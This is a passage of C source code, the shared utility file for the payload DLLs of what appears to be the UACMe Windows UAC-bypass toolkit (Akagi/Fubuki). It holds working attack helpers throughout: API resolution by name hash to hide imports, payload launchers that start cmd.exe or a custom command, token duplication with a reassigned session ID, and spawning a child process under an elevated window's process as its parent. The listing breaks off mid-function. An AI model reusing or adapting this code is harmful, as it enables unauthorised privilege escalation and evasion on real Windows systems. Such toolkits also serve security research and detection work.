Files
hfiref0x b34842c694 v 3.6.9
This is maintenance release. No new methods has been added / reworked / removed.
2025-07-08 00:00:36 +07:00

2463 lines
58 KiB
C

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2017 - 2025
*
* TITLE: UTIL.C
*
* VERSION: 3.69
*
* DATE: 07 Jul 2025
*
* Global support routines file shared between payload dlls.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#undef _TRACE_CALL
#include "shared.h"
/*
* ucmxHeapAlloc
*
* Purpose:
*
* Wrapper for RtlAllocateHeap.
*
*/
PVOID ucmxHeapAlloc(
_In_ SIZE_T NumberOfBytes
)
{
return RtlAllocateHeap(NtCurrentPeb()->ProcessHeap,
HEAP_ZERO_MEMORY,
NumberOfBytes);
}
/*
* ucmxHeapFree
*
* Purpose:
*
* Wrapper for RtlFreeHeap.
*
*/
BOOLEAN ucmxHeapFree(
_In_ PVOID BaseAddress
)
{
return RtlFreeHeap(NtCurrentPeb()->ProcessHeap,
0,
BaseAddress);
}
/*
* ucmIsProcess32bit
*
* Purpose:
*
* Return TRUE if given process is under WOW64, FALSE otherwise.
*
*/
BOOLEAN ucmIsProcess32bit(
_In_ HANDLE hProcess
)
{
NTSTATUS status;
PROCESS_EXTENDED_BASIC_INFORMATION pebi;
if (hProcess == NULL) {
return FALSE;
}
//query if this is wow64 process
RtlSecureZeroMemory(&pebi, sizeof(pebi));
pebi.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION);
status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pebi, sizeof(pebi), NULL);
if (NT_SUCCESS(status)) {
return (pebi.IsWow64Process == 1);
}
return FALSE;
}
/*
* ucmxQuerySystemDirectory
*
* Purpose:
*
* Query system directory full path including slash (with wow64 support).
*
*/
VOID ucmxQuerySystemDirectory(
_Inout_ LPWSTR lpSystemDirectory,
_In_ BOOLEAN CheckWow64)
{
WCHAR szSystem32Prep[] = { L'\\', L's', L'y', L's', 0 };
WCHAR szSystem32Final[] = { L't', L'e', L'm', L'3', L'2', L'\\', 0 };
WCHAR szWow64Final[] = { L'w', L'o', L'w', L'6', L'4', L'\\', 0 };
_strcpy(lpSystemDirectory, USER_SHARED_DATA->NtSystemRoot);
_strcat(lpSystemDirectory, szSystem32Prep);
if (CheckWow64) {
if (ucmIsProcess32bit(NtCurrentProcess())) {
_strcat(lpSystemDirectory, szWow64Final);
}
else {
_strcat(lpSystemDirectory, szSystem32Final);
}
}
else {
_strcat(lpSystemDirectory, szSystem32Final);
}
}
/*
* ucmBinTextEncode
*
* Purpose:
*
* Create pseudo random string from UI64 value.
*
*/
VOID ucmBinTextEncode(
_In_ unsigned __int64 x,
_Inout_ wchar_t* s
)
{
char tbl[64];
char c = 0;
int p;
tbl[62] = '-';
tbl[63] = '_';
for (c = 0; c < 26; ++c)
{
tbl[c] = 'A' + c;
tbl[26 + c] = 'a' + c;
if (c < 10)
tbl[52 + c] = '0' + c;
}
for (p = 0; p < 13; ++p)
{
c = x & 0x3f;
x >>= 5;
*s = (wchar_t)tbl[c];
++s;
}
*s = 0;
}
/*
* ucmGenerateSharedObjectName
*
* Purpose:
*
* Create pseudo random object name from it ID.
*
*/
VOID ucmGenerateSharedObjectName(
_In_ WORD ObjectId,
_Inout_ LPWSTR lpBuffer
)
{
ULARGE_INTEGER value;
value.LowPart = MAKELONG(
MAKEWORD(UCM_VERSION_BUILD, UCM_VERSION_REVISION),
MAKEWORD(UCM_VERSION_MINOR, UCM_VERSION_MAJOR));
value.HighPart = MAKELONG(UACME_SHARED_BASE_ID, ObjectId);
ucmBinTextEncode(value.QuadPart, lpBuffer);
}
/*
* ucmxCreateBoundaryDescriptorSID
*
* Purpose:
*
* Create special SID to access isolated namespace.
*
*/
PSID ucmxCreateBoundaryDescriptorSID(
SID_IDENTIFIER_AUTHORITY* SidAuthority,
UCHAR SubAuthorityCount,
ULONG* SubAuthorities
)
{
ULONG i;
PSID pSid;
pSid = ucmxHeapAlloc(RtlLengthRequiredSid(SubAuthorityCount));
if (pSid) {
if (NT_SUCCESS(RtlInitializeSid(pSid, SidAuthority, SubAuthorityCount))) {
for (i = 0; i < SubAuthorityCount; i++)
*RtlSubAuthoritySid(pSid, i) = SubAuthorities[i];
return pSid;
}
ucmxHeapFree(pSid);
}
return NULL;
}
/*
* ucmOpenAkagiNamespace
*
* Purpose:
*
* Open Akagi private namespace.
*
* Use NtClose on returned handle.
*
*/
HANDLE ucmOpenAkagiNamespace(
VOID
)
{
HANDLE hNamespace = NULL;
HANDLE hBoundary = NULL;
PSID pWorldSid;
SID_IDENTIFIER_AUTHORITY SidWorldAuthority = SECURITY_WORLD_SID_AUTHORITY;
UNICODE_STRING usName;
OBJECT_ATTRIBUTES obja = RTL_INIT_OBJECT_ATTRIBUTES((PUNICODE_STRING)NULL, 0);
ULONG SubAuthoritiesWorld[] = { SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0 };
WCHAR szBoundaryDescriptorName[128];
RtlSecureZeroMemory(&szBoundaryDescriptorName, sizeof(szBoundaryDescriptorName));
ucmGenerateSharedObjectName((WORD)AKAGI_BDESCRIPTOR_NAME_ID, szBoundaryDescriptorName);
RtlInitUnicodeString(&usName, szBoundaryDescriptorName);
do {
//
// Create and assign boundary descriptor.
//
hBoundary = RtlCreateBoundaryDescriptor(&usName, 0);
if (hBoundary == NULL)
break;
pWorldSid = ucmxCreateBoundaryDescriptorSID(
&SidWorldAuthority,
1,
SubAuthoritiesWorld);
if (pWorldSid == NULL)
break;
if (!NT_SUCCESS(RtlAddSIDToBoundaryDescriptor(&hBoundary, pWorldSid))) {
RtlFreeSid(pWorldSid);
break;
}
if (!NT_SUCCESS(NtOpenPrivateNamespace(
&hNamespace,
MAXIMUM_ALLOWED,
&obja,
hBoundary)))
{
break;
}
} while (FALSE);
if (hBoundary) RtlDeleteBoundaryDescriptor(hBoundary);
return hNamespace;
}
/*
* ucmReadSharedParameters
*
* Purpose:
*
* Read shared parameters from Akagi.
*
* Return TRUE on success, FALSE otherwise.
*
*/
_Success_(return == TRUE)
BOOL ucmReadSharedParameters(
_Out_ UACME_PARAM_BLOCK * SharedParameters
)
{
BOOL bResult = FALSE;
ULONG Crc32;
HANDLE hNamespace = NULL, hSection = NULL;
PVOID SectionBuffer = NULL;
SIZE_T ViewSize = PAGE_SIZE;
UNICODE_STRING usName;
OBJECT_ATTRIBUTES obja;
UACME_PARAM_BLOCK sharedParameters;
WCHAR szSectionName[128];
do {
hNamespace = ucmOpenAkagiNamespace();
if (hNamespace == NULL)
break;
RtlSecureZeroMemory(&szSectionName, sizeof(szSectionName));
ucmGenerateSharedObjectName((WORD)AKAGI_SHARED_SECTION_ID, szSectionName);
RtlInitUnicodeString(&usName, szSectionName);
InitializeObjectAttributes(&obja, &usName, OBJ_CASE_INSENSITIVE, hNamespace, NULL);
if (NT_SUCCESS(NtOpenSection(&hSection, SECTION_ALL_ACCESS, &obja))) {
if (NT_SUCCESS(NtMapViewOfSection(
hSection,
NtCurrentProcess(),
&SectionBuffer,
0,
PAGE_SIZE,
NULL,
&ViewSize,
ViewUnmap,
MEM_TOP_DOWN,
PAGE_READONLY)))
{
RtlSecureZeroMemory(&sharedParameters, sizeof(UACME_PARAM_BLOCK));
RtlCopyMemory(&sharedParameters, SectionBuffer, sizeof(UACME_PARAM_BLOCK));
NtUnmapViewOfSection(NtCurrentProcess(), hSection);
//
// Validate data.
//
Crc32 = sharedParameters.Crc32;
sharedParameters.Crc32 = 0;
if (Crc32 == RtlComputeCrc32(0, &sharedParameters, sizeof(UACME_PARAM_BLOCK))) {
sharedParameters.Crc32 = Crc32;
RtlCopyMemory(SharedParameters, &sharedParameters, sizeof(UACME_PARAM_BLOCK));
bResult = TRUE;
}
}
NtClose(hSection);
}
NtClose(hNamespace);
} while (FALSE);
return bResult;
}
/*
* ucmSetCompletion
*
* Purpose:
*
* Notify Akagi about task completion.
*
*/
VOID ucmSetCompletion(
_In_ LPWSTR lpEvent
)
{
HANDLE hEvent = NULL, hNamespace = NULL;
UNICODE_STRING usName;
OBJECT_ATTRIBUTES obja;
hNamespace = ucmOpenAkagiNamespace();
if (hNamespace) {
RtlInitUnicodeString(&usName, lpEvent);
InitializeObjectAttributes(&obja, &usName, OBJ_CASE_INSENSITIVE, hNamespace, NULL);
if (NT_SUCCESS(NtOpenEvent(&hEvent, EVENT_ALL_ACCESS, &obja))) {
NtSetEvent(hEvent, NULL);
NtClose(hEvent);
}
NtClose(hNamespace);
}
}
/*
* ucmPrivilegeEnabled
*
* Purpose:
*
* Tests if the given token has the given privilege enabled/enabled by default.
*
*/
BOOLEAN ucmPrivilegeEnabled(
_In_ HANDLE hToken,
_In_ ULONG Privilege
)
{
NTSTATUS status;
PRIVILEGE_SET Privs;
BOOLEAN bResult = FALSE;
Privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
Privs.PrivilegeCount = 1;
Privs.Privilege[0].Luid.LowPart = Privilege;
Privs.Privilege[0].Luid.HighPart = 0;
Privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED_BY_DEFAULT | SE_PRIVILEGE_ENABLED;
status = NtPrivilegeCheck(hToken, &Privs, &bResult);
RtlSetLastWin32Error(RtlNtStatusToDosError(status));
return bResult;
}
/*
* ucmFormatTimeOut
*
* Purpose:
*
* Translates a Win32 style timeout to an NT relative timeout.
*
*/
PLARGE_INTEGER ucmFormatTimeOut(
_Out_ PLARGE_INTEGER TimeOut,
_In_ DWORD Milliseconds
)
{
if ((LONG)Milliseconds == -1) {
return(NULL);
}
TimeOut->QuadPart = UInt32x32To64(Milliseconds, 10000);
TimeOut->QuadPart *= -1;
return TimeOut;
}
/*
* ucmSleep
*
* Purpose:
*
* Win32 Sleep replacement.
*
*/
VOID ucmSleep(
_In_ DWORD Miliseconds
)
{
LARGE_INTEGER liDueTime;
if (Miliseconds == INFINITE) {
liDueTime.QuadPart = 0x8000000000000000;
}
else {
ucmFormatTimeOut(&liDueTime, Miliseconds);
}
NtDelayExecution(FALSE, &liDueTime);
}
/*
* ucmCreateSyncMutant
*
* Purpose:
*
* Create sync mutex.
*
*/
NTSTATUS ucmCreateSyncMutant(
_Out_ PHANDLE phMutant
)
{
UNICODE_STRING usName;
OBJECT_ATTRIBUTES obja;
WCHAR szObjectName[256];
WCHAR szName[128];
RtlSecureZeroMemory(&szName, sizeof(szName));
_strcpy(szObjectName, L"\\BaseNamedObjects\\");
ucmGenerateSharedObjectName(FUBUKI_SYNC_MUTEX_ID, szName);
_strcat(szObjectName, szName);
RtlInitUnicodeString(&usName, szObjectName);
InitializeObjectAttributes(&obja, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL);
return NtCreateMutant(phMutant, MUTANT_ALL_ACCESS, &obja, FALSE);
}
/*
* ucmGetHashForString
*
* Purpose:
*
* Calculates specific hash for string.
*
*/
DWORD ucmGetHashForString(
_In_ char* s
)
{
DWORD h = 0;
while (*s != 0) {
h ^= *s;
h = RotateLeft32(h, 3) + 1;
s++;
}
return h;
}
/*
* ucmGetProcedureAddressByHash
*
* Purpose:
*
* Return pointer to function in dll from name hash value.
*
*/
LPVOID ucmGetProcedureAddressByHash(
_In_ PVOID ImageBase,
_In_ DWORD ProcedureHash
)
{
DWORD i;
ULONG sz = 0;
IMAGE_DOS_HEADER* DosHeader;
IMAGE_EXPORT_DIRECTORY* Exports;
PDWORD Names, Functions;
PWORD Ordinals;
DWORD_PTR FunctionPtr;
DosHeader = (IMAGE_DOS_HEADER*)ImageBase;
Exports = (IMAGE_EXPORT_DIRECTORY*)RtlImageDirectoryEntryToData(ImageBase,
TRUE,
IMAGE_DIRECTORY_ENTRY_EXPORT,
&sz);
if (Exports == NULL)
return NULL;
Names = (PDWORD)((PBYTE)DosHeader + Exports->AddressOfNames);
Ordinals = (PWORD)((PBYTE)DosHeader + Exports->AddressOfNameOrdinals);
Functions = (PDWORD)((PBYTE)DosHeader + Exports->AddressOfFunctions);
for (i = 0; i < Exports->NumberOfNames; i++) {
if (ucmGetHashForString((char*)((PBYTE)DosHeader + Names[i])) == ProcedureHash) {
FunctionPtr = Functions[Ordinals[i]];
return (PBYTE)ImageBase + FunctionPtr;
}
}
return NULL;
}
/*
* ucmGetStartupInfo
*
* Purpose:
*
* Reimplemented GetStartupInfoW.
*
*/
VOID ucmGetStartupInfo(
_In_ LPSTARTUPINFOW lpStartupInfo
)
{
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
if (lpStartupInfo == NULL) {
return;
}
ProcessParameters = NtCurrentPeb()->ProcessParameters;
lpStartupInfo->cb = sizeof(*lpStartupInfo);
lpStartupInfo->lpReserved = (LPWSTR)ProcessParameters->ShellInfo.Buffer;
lpStartupInfo->lpDesktop = (LPWSTR)ProcessParameters->DesktopInfo.Buffer;
lpStartupInfo->lpTitle = (LPWSTR)ProcessParameters->WindowTitle.Buffer;
lpStartupInfo->dwX = ProcessParameters->StartingX;
lpStartupInfo->dwY = ProcessParameters->StartingY;
lpStartupInfo->dwXSize = ProcessParameters->CountX;
lpStartupInfo->dwYSize = ProcessParameters->CountY;
lpStartupInfo->dwXCountChars = ProcessParameters->CountCharsX;
lpStartupInfo->dwYCountChars = ProcessParameters->CountCharsY;
lpStartupInfo->dwFillAttribute = ProcessParameters->FillAttribute;
lpStartupInfo->dwFlags = ProcessParameters->WindowFlags;
lpStartupInfo->wShowWindow = (WORD)ProcessParameters->ShowWindowFlags;
lpStartupInfo->cbReserved2 = ProcessParameters->RuntimeData.Length;
lpStartupInfo->lpReserved2 = (LPBYTE)ProcessParameters->RuntimeData.Buffer;
if (lpStartupInfo->dwFlags & (STARTF_USESTDHANDLES | STARTF_USEHOTKEY)) {
lpStartupInfo->hStdInput = ProcessParameters->StandardInput;
lpStartupInfo->hStdOutput = ProcessParameters->StandardOutput;
lpStartupInfo->hStdError = ProcessParameters->StandardError;
}
}
/*
* ucmExpandEnvironmentStrings
*
* Purpose:
*
* Reimplemented ExpandEnvironmentStrings.
*
*/
DWORD ucmExpandEnvironmentStrings(
_In_ LPCWSTR lpSrc,
_Out_writes_to_opt_(nSize, return) LPWSTR lpDst,
_In_ DWORD nSize
)
{
NTSTATUS Status;
SIZE_T SrcLength = 0, ReturnLength = 0, DstLength = (SIZE_T)nSize;
if (lpSrc) {
SrcLength = _strlen(lpSrc);
}
Status = RtlExpandEnvironmentStrings(
NULL,
(PWSTR)lpSrc,
SrcLength,
(PWSTR)lpDst,
DstLength,
&ReturnLength);
if ((NT_SUCCESS(Status)) || (Status == STATUS_BUFFER_TOO_SMALL)) {
if (ReturnLength <= MAXDWORD32)
return (DWORD)ReturnLength;
Status = STATUS_UNSUCCESSFUL;
}
RtlSetLastWin32Error(RtlNtStatusToDosError(Status));
return 0;
}
#define SI_MAX_BUFFER_LENGTH (512 * 1024 * 1024)
/*
* ucmGetSystemInfo
*
* Purpose:
*
* Returns buffer with system information by given InfoClass.
*
* Returned buffer must be freed with HeapFree after usage.
*
*/
PVOID ucmGetSystemInfo(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass
)
{
PVOID buffer = NULL;
ULONG bufferSize = PAGE_SIZE;
NTSTATUS ntStatus;
ULONG returnedLength = 0;
buffer = ucmxHeapAlloc((SIZE_T)bufferSize);
if (buffer == NULL)
return NULL;
while ((ntStatus = NtQuerySystemInformation(
SystemInformationClass,
buffer,
bufferSize,
&returnedLength)) == STATUS_INFO_LENGTH_MISMATCH)
{
ucmxHeapFree(buffer);
bufferSize *= 2;
if (bufferSize > SI_MAX_BUFFER_LENGTH)
return NULL;
buffer = ucmxHeapAlloc((SIZE_T)bufferSize);
if (buffer == NULL)
return NULL;
}
if (NT_SUCCESS(ntStatus)) {
return buffer;
}
if (buffer)
ucmxHeapFree(buffer);
return NULL;
}
/*
* ucmLaunchPayload
*
* Purpose:
*
* Run payload (by default cmd.exe from system32)
*
*/
BOOL ucmLaunchPayload(
_In_opt_ LPWSTR pszPayload,
_In_opt_ DWORD cbPayload)
{
BOOL bResult = FALSE, bCommandLineAllocated = FALSE;
WCHAR cmdbuf[MAX_PATH * 2]; //complete process command line
WCHAR sysdir[MAX_PATH + 1]; //process working directory
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
DWORD dwCreationFlags = CREATE_NEW_CONSOLE;
LPWSTR lpApplicationName = NULL, lpCommandLine = NULL;
SIZE_T memIO;
//
// Query working directory.
//
RtlSecureZeroMemory(sysdir, sizeof(sysdir));
ucmxQuerySystemDirectory(sysdir, TRUE);
//
// Query startup info from parent.
//
RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
ucmGetStartupInfo(&startupInfo);
//
// Determine what we want to execute, custom parameter or default cmd.exe
//
if (pszPayload && cbPayload) {
//
// We can use custom payload, copy it to internal buffer.
//
memIO = PAGE_SIZE + (SIZE_T)cbPayload;
lpCommandLine = (LPWSTR)ucmxHeapAlloc(memIO);
if (lpCommandLine) {
dwCreationFlags = 0;
bCommandLineAllocated = TRUE;
RtlCopyMemory(lpCommandLine,
pszPayload,
cbPayload);
}
}
else {
//
// Default cmd.exe should be started.
//
RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf));
_strcpy(cmdbuf, sysdir);
_strcat(cmdbuf, L"cmd.exe");
lpApplicationName = cmdbuf;
lpCommandLine = NULL;
bCommandLineAllocated = FALSE;
}
startupInfo.dwFlags = STARTF_USESHOWWINDOW;
startupInfo.wShowWindow = SW_SHOW;
RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
#ifdef _TRACE_CALL
OutputDebugString(L"CreateProcessAsUser\r\n");
#endif
//
// Launch payload.
//
bResult = CreateProcessAsUser(NULL,
lpApplicationName,
lpCommandLine,
NULL,
NULL,
FALSE,
dwCreationFlags,
NULL,
sysdir,
&startupInfo,
&processInfo);
if (bResult) {
//
// We don't need these handles, close them.
//
NtClose(processInfo.hProcess);
NtClose(processInfo.hThread);
}
//
// Post execution cleanup if required.
//
if (bCommandLineAllocated)
ucmxHeapFree(lpCommandLine);
return bResult;
}
/*
* ucmLaunchPayloadEx
*
* Purpose:
*
* Run payload (by default cmd.exe from system32)
*
*/
BOOL ucmLaunchPayloadEx(
_In_ PFNCREATEPROCESSW pCreateProcess,
_In_opt_ LPWSTR pszPayload,
_In_opt_ DWORD cbPayload)
{
BOOL bResult = FALSE, bCommandLineAllocated = FALSE;
WCHAR cmdbuf[MAX_PATH * 2]; //complete process command line
WCHAR sysdir[MAX_PATH + 1]; //process working directory
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
DWORD dwCreationFlags = CREATE_NEW_CONSOLE;
LPWSTR lpApplicationName = NULL, lpCommandLine = NULL;
SIZE_T memIO;
if (pCreateProcess == NULL)
return bResult;
//
// Query working directory.
//
RtlSecureZeroMemory(sysdir, sizeof(sysdir));
ucmxQuerySystemDirectory(sysdir, TRUE);
//
// Query startup info from parent.
//
RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
ucmGetStartupInfo(&startupInfo);
//
// Determine what we want to execute, custom parameter or default cmd.exe
//
if (pszPayload && cbPayload) {
//
// We can use custom payload, copy it to internal buffer.
//
memIO = PAGE_SIZE + (SIZE_T)cbPayload;
lpCommandLine = (LPWSTR)ucmxHeapAlloc(memIO);
if (lpCommandLine) {
dwCreationFlags = 0;
bCommandLineAllocated = TRUE;
RtlCopyMemory(lpCommandLine,
pszPayload,
cbPayload);
}
}
else {
//
// Default cmd.exe should be started.
//
RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf));
_strcpy(cmdbuf, sysdir);
_strcat(cmdbuf, L"cmd.exe");
lpApplicationName = cmdbuf;
lpCommandLine = NULL;
bCommandLineAllocated = FALSE;
}
startupInfo.dwFlags = STARTF_USESHOWWINDOW;
startupInfo.wShowWindow = SW_SHOW;
RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
//
// Launch payload.
//
bResult = pCreateProcess(
lpApplicationName,
lpCommandLine,
NULL,
NULL,
FALSE,
dwCreationFlags,
NULL,
sysdir,
&startupInfo,
&processInfo);
if (bResult) {
//
// We don't need these handles, close them.
//
NtClose(processInfo.hProcess);
NtClose(processInfo.hThread);
}
//
// Post execution cleanup if required.
//
if (bCommandLineAllocated)
ucmxHeapFree(lpCommandLine);
return bResult;
}
/*
* ucmLaunchPayload2
*
* Purpose:
*
* Run payload (by default cmd.exe from system32)
*
*/
BOOL ucmLaunchPayload2(
_In_ PFNCREATEPROCESSASUSERW pCreateProcessAsUser,
_In_ BOOL bIsLocalSystem,
_In_ ULONG SessionId,
_In_opt_ LPWSTR pszPayload,
_In_opt_ DWORD cbPayload)
{
BOOL bResult = FALSE, bCommandLineAllocated = FALSE, bSrvExec = FALSE;
WCHAR cmdbuf[MAX_PATH * 2]; //complete process command line
WCHAR sysdir[MAX_PATH + 1]; //process working directory
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
DWORD dwCreationFlags = CREATE_NEW_CONSOLE;
LPWSTR lpApplicationName = NULL, lpCommandLine = NULL;
SIZE_T memIO;
NTSTATUS status;
HANDLE hToken = NULL, hDupToken = NULL;
SECURITY_QUALITY_OF_SERVICE sqos;
OBJECT_ATTRIBUTES obja;
ULONG CurrentSessionId = NtCurrentPeb()->SessionId;
#ifdef _TRACE_CALL
WCHAR szDebugBuf[1000];
#endif //_TRACE_CALL
do {
bSrvExec = ((bIsLocalSystem) && (CurrentSessionId != SessionId));
#ifdef _TRACE_CALL
if (bSrvExec)
OutputDebugString(L"bServExec");
#endif //_TRACE_CALL
//
// In case of service start, prepare token for CreateProcessAsUser.
// Set token session id, to do this we need SE_TCB_PRIVILEGE, check it enabled.
//
if (bSrvExec) {
status = NtOpenProcessToken(
NtCurrentProcess(),
TOKEN_ALL_ACCESS,
&hToken);
if (!NT_SUCCESS(status)) {
#ifdef _TRACE_CALL
_strcpy(szDebugBuf, L"NtOpenProcessToken = 0x");
ultohex(status, _strend(szDebugBuf));
_strcat(szDebugBuf, L"\r\n");
OutputDebugString(szDebugBuf);
#endif //_TRACE_CALL
break;
}
#ifdef _TRACE_CALL
if (!ucmPrivilegeEnabled(hToken, SE_ASSIGNPRIMARYTOKEN_PRIVILEGE)) {
OutputDebugString(L"ucmPrivilegeEnabled->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE not set\r\n");
}
#endif //_TRACE_CALL
if (!ucmPrivilegeEnabled(hToken, SE_TCB_PRIVILEGE)) {
#ifdef _TRACE_CALL
OutputDebugString(L"ucmPrivilegeEnabled->SE_TCB_PRIVILEGE not set\r\n");
#endif //_TRACE_CALL
break;
}
sqos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
sqos.ImpersonationLevel = SecurityImpersonation;
sqos.ContextTrackingMode = 0;
sqos.EffectiveOnly = FALSE;
InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
obja.SecurityQualityOfService = &sqos;
status = NtDuplicateToken(
hToken,
TOKEN_ALL_ACCESS,
&obja,
FALSE,
TokenPrimary,
&hDupToken);
if (!NT_SUCCESS(status)) {
#ifdef _TRACE_CALL
_strcpy(szDebugBuf, L"NtDuplicateToken = 0x");
ultohex(status, _strend(szDebugBuf));
_strcat(szDebugBuf, L"\r\n");
OutputDebugString(szDebugBuf);
#endif //_TRACE_CALL
break;
}
status = NtSetInformationToken(
hDupToken,
TokenSessionId,
(PVOID)&SessionId,
sizeof(ULONG));
if (!NT_SUCCESS(status)) {
#ifdef _TRACE_CALL
_strcpy(szDebugBuf, L"NtSetInformationToken = 0x");
ultohex(status, _strend(szDebugBuf));
_strcat(szDebugBuf, L"\r\n");
OutputDebugString(szDebugBuf);
#endif //_TRACE_CALL
break;
}
}
else {
//
// Not a service start, use default token value.
//
hDupToken = NULL;
}
//
// Query working directory.
//
RtlSecureZeroMemory(sysdir, sizeof(sysdir));
ucmxQuerySystemDirectory(sysdir, FALSE);
#ifdef _TRACE_CALL
OutputDebugString(sysdir);
#endif //_TRACE_CALL
//
// Query startup info from parent.
//
RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
ucmGetStartupInfo(&startupInfo);
//
// Determine what we want to execute, custom parameter or default cmd.exe
//
if (pszPayload && cbPayload) {
//
// We can use custom payload, copy it to internal buffer.
//
memIO = PAGE_SIZE + (SIZE_T)cbPayload;
lpCommandLine = (LPWSTR)ucmxHeapAlloc(memIO);
if (lpCommandLine) {
dwCreationFlags = 0;
bCommandLineAllocated = TRUE;
RtlCopyMemory(lpCommandLine,
pszPayload,
cbPayload);
}
}
else {
//
// Default cmd.exe should be started.
//
RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf));
_strcpy(cmdbuf, sysdir);
_strcat(cmdbuf, L"cmd.exe");
lpApplicationName = cmdbuf;
lpCommandLine = NULL;
bCommandLineAllocated = FALSE;
}
startupInfo.dwFlags = STARTF_USESHOWWINDOW;
startupInfo.wShowWindow = SW_SHOW;
RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
//
// In case of start from service, force default WinStation and Desktop.
//
// Future note: maybe moved to registry settings as custom winsta param.
//
if (bSrvExec) {
startupInfo.lpDesktop = TEXT("Winsta0\\Default");
}
//
// Launch payload.
//
bResult = pCreateProcessAsUser(
hDupToken,
lpApplicationName,
lpCommandLine,
NULL,
NULL,
FALSE,
dwCreationFlags,
NULL,
sysdir,
&startupInfo,
&processInfo);
if (bResult) {
#ifdef _TRACE_CALL
OutputDebugString(L"CreateProcessAsUser success\r\n");
#endif //_TRACE_CALL
//
// We don't need these handles, close them.
//
NtClose(processInfo.hProcess);
NtClose(processInfo.hThread);
}
#ifdef _TRACE_CALL
else {
_strcpy(szDebugBuf, L"CreateProcessAsUser failed with code = 0x");
ultohex(GetLastError(), _strend(szDebugBuf));
_strcat(szDebugBuf, L"\r\n");
OutputDebugString(szDebugBuf);
}
#endif //_TRACE_CALL
} while (FALSE);
//
// Post execution cleanup if required.
//
if (bCommandLineAllocated)
ucmxHeapFree(lpCommandLine);
if (bSrvExec) {
if (hToken)
NtClose(hToken);
if (hDupToken)
NtClose(hDupToken);
}
return bResult;
}
/*
* ucmLaunchPayload3
*
* Purpose:
*
* Run payload (by default cmd.exe from system32)
*
*/
BOOL ucmLaunchPayload3(
_In_opt_ LPWSTR pszPayload,
_In_opt_ DWORD cbPayload)
{
BOOL bResult = FALSE, bCommandLineAllocated = FALSE;
ULONG i;
HWND hwnd;
HANDLE hProcess;
LPWSTR lpCommandLine = NULL;
SIZE_T memIO;
OPLOCK_FILE_CONTEXT ofc;
PROCESS_INFORMATION pi;
WCHAR cmdbuf[MAX_PATH * 2]; //complete process command line
WCHAR sysdir[MAX_PATH + 1]; //process working directory
if (ucmCheckUIAccessPermissions()) {
//
// Determine what we want to execute, custom parameter or default cmd.exe
//
if (pszPayload && cbPayload) {
//
// We can use custom payload, copy it to internal buffer.
//
memIO = PAGE_SIZE + (SIZE_T)cbPayload;
lpCommandLine = (LPWSTR)ucmxHeapAlloc(memIO);
if (lpCommandLine) {
bCommandLineAllocated = TRUE;
RtlCopyMemory(lpCommandLine,
pszPayload,
cbPayload);
}
}
else {
//
// Default cmd.exe should be started.
//
RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf));
//
// Query working directory.
//
RtlSecureZeroMemory(sysdir, sizeof(sysdir));
ucmxQuerySystemDirectory(sysdir, FALSE);
_strcpy(cmdbuf, sysdir);
_strcat(cmdbuf, L"cmd.exe");
lpCommandLine = cmdbuf;
bCommandLineAllocated = FALSE;
}
RtlSecureZeroMemory(&ofc, sizeof(ofc));
ofc.Length = sizeof(ofc);
ofc.FileHandle = INVALID_HANDLE_VALUE;
hwnd = ucmFindFirstElevatedWindow();
if (!hwnd) {
if (ucmStartBackupLockedElevatedProcess(&ofc)) {
for (i = 0; i < 5000; i += 500) {
ucmSleep(500);
hwnd = ucmFindFirstElevatedWindow();
}
}
}
if (hwnd)
{
RtlSecureZeroMemory(&pi, sizeof(pi));
hProcess = ucmGetHwndFullProcessHandle(hwnd);
if (hProcess)
{
bResult = ucmCreateProcessWithParent(lpCommandLine, hProcess, CREATE_NEW_CONSOLE, SW_SHOW, &pi);
if (bResult) {
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
CloseHandle(hProcess);
}
}
if (ofc.FileHandle != INVALID_HANDLE_VALUE) {
ucmReleaseOpLock(&ofc);
}
}
//
// Post execution cleanup if required.
//
if (bCommandLineAllocated)
ucmxHeapFree(lpCommandLine);
return bResult;
}
/*
* ucmQueryRuntimeInfo
*
* Purpose:
*
* Output current process runtime information.
*
*/
LPWSTR ucmQueryRuntimeInfo(
_In_ BOOL ReturnData)
{
BOOL bFound = FALSE;
NTSTATUS status;
DWORD dwIntegrityLevel;
ULONG LengthNeeded = 0;
ULONG SessionId = NtCurrentPeb()->SessionId;
HANDLE hToken = NULL;
PTOKEN_MANDATORY_LABEL pTIL = NULL;
TOKEN_USER* ptu = NULL;
PROCESS_BASIC_INFORMATION pbi;
PROCESS_EXTENDED_BASIC_INFORMATION pebi;
PSYSTEM_PROCESS_INFORMATION ProcessList, pList;
LSA_OBJECT_ATTRIBUTES lobja;
LSA_HANDLE PolicyHandle = NULL;
PLSA_REFERENCED_DOMAIN_LIST ReferencedDomains = NULL;
PLSA_TRANSLATED_NAME Names = NULL;
SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
